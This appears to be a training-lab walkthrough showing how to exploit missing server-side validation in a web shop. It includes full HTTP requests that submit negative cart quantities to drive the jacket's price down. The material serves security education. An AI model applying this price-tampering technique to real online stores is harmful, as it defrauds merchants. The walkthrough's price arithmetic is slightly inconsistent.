#Description
This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a "Lightweight l33t leather jacket".
You can log in to your own account using the following credentials: wiener:peter
#Background
This lab contains a high level logic vulnerability that is a realistic attack path when testing shopping based applications. It shows a lack of server side validation from client side provided inputs, and allows for unexpected behaviours to occur within the application.
#Quick look
#Observing The Request Process
Step one with these business logic/shopping bugs is simply to review what happens when we try to purchase the product, or what happens when we add it to our cart etc. It almost seems silly when you try to explain it as we almost expect it on a basic level to be some glamorous exploit, but web application testing often starts just with "what can a user do and what do those requests look like". It is boring, and time consuming on large apps, but just shoving all of those requests into burp is basically how we start a test.
I have already run through the app, tested some functionality, reviewed responses, looked at parameters, so let's get on with it and show what I found that was interesting.
#Cart Quantities
When we look at the requests that go through the app, compared to say "Excessive Trust in Client Side Controls", the attack surface is fairly low. The requests and responses have very few parameters or manipulatable headers etc that have an impact to application behaviours. When looking at shopping apps like this, one really good strategy is to manipulate how many products you are adding to the cart, negative numbers, large numbers etc. Essentially upper and lower bound checks to determine what happens when you do something that would be fairly ridiculous from a real user.
#Normal Request
This is a normal request for adding a product to the cart. It has a drop down that allows us to choose, but it defaults at one, fairly understandable.
POST /cart HTTP/2
Host: 0a9700e9033b306580b2df3f00460015.web-security-academy.net
Cookie: session=0kT76aRIzTchyCbWLQanrIgTcA9Ov8mR
Content-Length: 36
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0a9700e9033b306580b2df3f00460015.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9700e9033b306580b2df3f00460015.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
productId=1&redir=PRODUCT&quantity=1
#Altered Request Snippet
But what happens if I make this a negative number or a massive number? If we change this just for testing to a minus one, the app actually completely accepts it and it instantly shows in our cart as a minus amount.
productId=1&redir=PRODUCT&quantity=-1
Essentially this means that the application trusts the client side information a bit too much. It is similar to other labs we have done, from a developers point of view, the key problem is that the server isn't doing any server side validation of the supplied input. We can argue up and down about how client side code shouldn't be able to do certain things, but the server also shouldn't accept it either, and that is generally where the real issues are.
#How are we abusing this?
#Purchasing the Jacket
We now know that we can abuse the quantity to lower the carts overall total, but that won't help us much if the application doesn't allow a negative value or, even if it did, having a "negative" product, likely wouldn't lead to an order fulfilment. So we are going to add in two jackets, so that the quantity is a positive number, and then we are going to add as many negative Enter Keys as we need to make the order go through.
#Adding in negative enter keys.
Doing some quick math (totally didn't get a calculator out), we will find that 1337 / 45.44 equals 29.4. So if we just add in -29 enter keys, we should be able to get the price down significantly.
POST /cart HTTP/2
Host: 0a9700e9033b306580b2df3f00460015.web-security-academy.net
Cookie: session=0kT76aRIzTchyCbWLQanrIgTcA9Ov8mR
Content-Length: 38
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Origin: https://0a9700e9033b306580b2df3f00460015.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9700e9033b306580b2df3f00460015.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
productId=2&redir=PRODUCT&quantity=-29
#Purchase
I won't show the HTTP request or response for this, because it is boring. You will know that you have got it when the app redirects to something that does not contain an error in the URL and you see this page.
